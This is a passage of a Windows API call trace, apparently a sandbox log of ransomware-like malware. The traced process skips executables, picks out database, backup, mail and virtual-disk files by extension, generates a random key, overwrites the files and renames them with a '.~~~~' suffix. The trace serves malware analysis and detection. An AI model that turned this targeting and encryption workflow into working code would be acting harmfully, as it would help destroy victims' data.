	[0135.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.880] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdd98 | out: hHeap=0x300000) returned 1
	[0135.880] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.881] GetLastError () returned 0x0
	[0135.881] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.881] GetLastError () returned 0x0
	[0135.888] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.890] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.891] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.891] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.891] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.891] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.891] CloseHandle (hObject=0xc4) returned 1
	[0135.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdd98
	[0135.891] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.~~~~")) returned 1
	[0135.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdd98 | out: hHeap=0x300000) returned 1
	[0135.895] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0135.895] GetLastError () returned 0x0
	[0135.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".scr") returned 0x0
	[0135.897] lstrlenW (lpString=".cmd") returned 4
	[0135.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0135.901] lstrlenW (lpString=".dll") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dll") returned 0x0
	[0135.901] lstrlenW (lpString=".bat") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".bat") returned 0x0
	[0135.901] lstrlenW (lpString=".cpl") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0135.901] lstrlenW (lpString=".sys") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".sys") returned 0x0
	[0135.901] lstrlenW (lpString=".msc") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".msc") returned 0x0
	[0135.901] lstrlenW (lpString=".com") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".com") returned 0x0
	[0135.901] lstrlenW (lpString=".lnk") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0135.901] lstrlenW (lpString=".msp") returned 4
	[0135.901] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".msp") returned 0x0
	[0135.904] lstrlenW (lpString=".pif") returned 4
	[0135.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".pif") returned 0x0
	[0135.905] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.905] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0135.910] lstrlenW (lpString=".sqb") returned 4
	[0135.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0135.913] lstrlenW (lpString=".ost") returned 4
	[0135.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".ost") returned 0x0
	[0135.913] lstrlenW (lpString=".txt") returned 4
	[0135.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".txt") returned 0x0
	[0135.913] lstrlenW (lpString=".mdt") returned 4
	[0135.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0135.913] lstrlenW (lpString=".BDB") returned 4
	[0135.913] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0135.915] lstrlenW (lpString=".eql") returned 4
	[0135.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".eql") returned 0x0
	[0135.915] lstrlenW (lpString=".DBF") returned 4
	[0135.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0135.915] lstrlenW (lpString=".EQL") returned 4
	[0135.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0135.915] lstrlenW (lpString=".FDB") returned 4
	[0135.915] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0135.918] lstrlenW (lpString=".EDB") returned 4
	[0135.918] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0135.918] lstrlenW (lpString=".DACPAC") returned 7
	[0135.919] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0135.919] lstrlenW (lpString=".VHD") returned 4
	[0135.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0135.921] lstrlenW (lpString=".DBV") returned 4
	[0135.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0135.921] lstrlenW (lpString=".dacpac") returned 7
	[0135.921] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0135.923] lstrlenW (lpString=".sdf") returned 4
	[0135.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0135.923] lstrlenW (lpString=".accdb") returned 6
	[0135.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0135.923] lstrlenW (lpString=".DBX") returned 4
	[0135.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0135.923] lstrlenW (lpString=".MDT") returned 4
	[0135.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0135.923] lstrlenW (lpString=".SQB") returned 4
	[0135.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0135.924] lstrlenW (lpString=".vhd") returned 4
	[0135.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0135.928] lstrlenW (lpString=".bac") returned 4
	[0135.928] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".bac") returned 0x0
	[0135.928] lstrlenW (lpString=".mdf") returned 4
	[0135.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0135.929] lstrlenW (lpString=".BAK") returned 4
	[0135.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0135.929] lstrlenW (lpString=".BAC") returned 4
	[0135.929] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0135.929] lstrlenW (lpString=".dbs") returned 4
	[0135.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0135.931] lstrlenW (lpString=".vhdx") returned 5
	[0135.931] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0135.932] lstrlenW (lpString=".NDF") returned 4
	[0135.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0135.932] lstrlenW (lpString=".dat") returned 4
	[0135.932] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dat") returned 0x0
	[0135.933] lstrlenW (lpString=".DBS") returned 4
	[0135.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0135.934] lstrlenW (lpString=".CKP") returned 4
	[0135.934] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0135.934] lstrlenW (lpString=".edb") returned 4
	[0135.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".edb") returned 0x0
	[0135.935] lstrlenW (lpString=".PST") returned 4
	[0135.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".PST") returned 0x0
	[0135.935] lstrlenW (lpString=".dbf") returned 4
	[0135.935] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0135.935] lstrlenW (lpString=".SQL") returned 4
	[0135.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0135.937] lstrlenW (lpString=".pst") returned 4
	[0135.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".pst") returned 0x0
	[0135.938] lstrlenW (lpString=".dbv") returned 4
	[0135.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0135.938] lstrlenW (lpString=".SDF") returned 4
	[0135.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0135.938] lstrlenW (lpString=".dtxs") returned 5
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0135.941] lstrlenW (lpString=".db3") returned 4
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".db3") returned 0x0
	[0135.941] lstrlenW (lpString=".OST") returned 4
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".OST") returned 0x0
	[0135.941] lstrlenW (lpString=".dbx") returned 4
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0135.941] lstrlenW (lpString=".DB3") returned 4
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0135.941] lstrlenW (lpString=".DAT") returned 4
	[0135.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0135.941] lstrlenW (lpString=".VHDX") returned 5
	[0135.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0135.944] lstrlenW (lpString=".ndf") returned 4
	[0135.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0135.944] lstrlenW (lpString=".DB") returned 3
	[0135.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DB") returned 0x0
	[0135.944] lstrlenW (lpString=".sql") returned 4
	[0135.944] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".sql") returned 0x0
	[0135.944] lstrlenW (lpString=".MYD") returned 4
	[0135.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0135.948] lstrlenW (lpString=".DBT") returned 4
	[0135.948] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0135.949] lstrlenW (lpString=".ACCDB") returned 6
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0135.953] lstrlenW (lpString=".fdb") returned 4
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0135.953] lstrlenW (lpString=".bak") returned 4
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".bak") returned 0x0
	[0135.953] lstrlenW (lpString=".myd") returned 4
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".myd") returned 0x0
	[0135.953] lstrlenW (lpString=".DTXS") returned 5
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0135.953] lstrlenW (lpString=".ckp") returned 4
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0135.953] lstrlenW (lpString=".dbt") returned 4
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0135.953] lstrlenW (lpString=".db") returned 3
	[0135.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".db") returned 0x0
	[0135.954] lstrlenW (lpString=".TXT") returned 4
	[0135.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0135.955] lstrlenW (lpString=".MDF") returned 4
	[0135.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0135.955] lstrlenW (lpString=".bdb") returned 4
	[0135.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0135.955] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.961] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.962] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0620) returned 1
	[0136.157] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.157] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0136.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0136.158] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25614771068) returned 1
	[0136.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba994170, dwHighDateTime=0x1d60e1e)) 
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825240
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825240 | out: hHeap=0x300000) returned 1
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce188
	[0136.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0136.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.158] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0136.158] GetLastError () returned 0x0
	[0136.159] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0136.159] GetLastError () returned 0x0
	[0136.316] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.316] WriteFile (in: hFile=0xc4, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0136.316] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.317] WriteFile (in: hFile=0xc4, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.580] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.580] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.581] CloseHandle (hObject=0xc4) returned 1
	[0136.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce188
	[0136.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.~~~~")) returned 1
	[0136.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce188 | out: hHeap=0x300000) returned 1
	[0136.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0136.584] GetLastError () returned 0x0
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".scr") returned 0x0
	[0136.585] lstrlenW (lpString=".cmd") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".cmd") returned 0x0
	[0136.585] lstrlenW (lpString=".dll") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".dll") returned 0x0
	[0136.585] lstrlenW (lpString=".bat") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".bat") returned 0x0
	[0136.585] lstrlenW (lpString=".cpl") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".cpl") returned 0x0
	[0136.585] lstrlenW (lpString=".sys") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".sys") returned 0x0
	[0136.585] lstrlenW (lpString=".msc") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".msc") returned 0x0
	[0136.585] lstrlenW (lpString=".com") returned 4
	[0136.585] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLPERF.INI", lpSrch=".com") returned 0x0
	[0136.585] lstrlenW (lpString=".lnk") returned 4
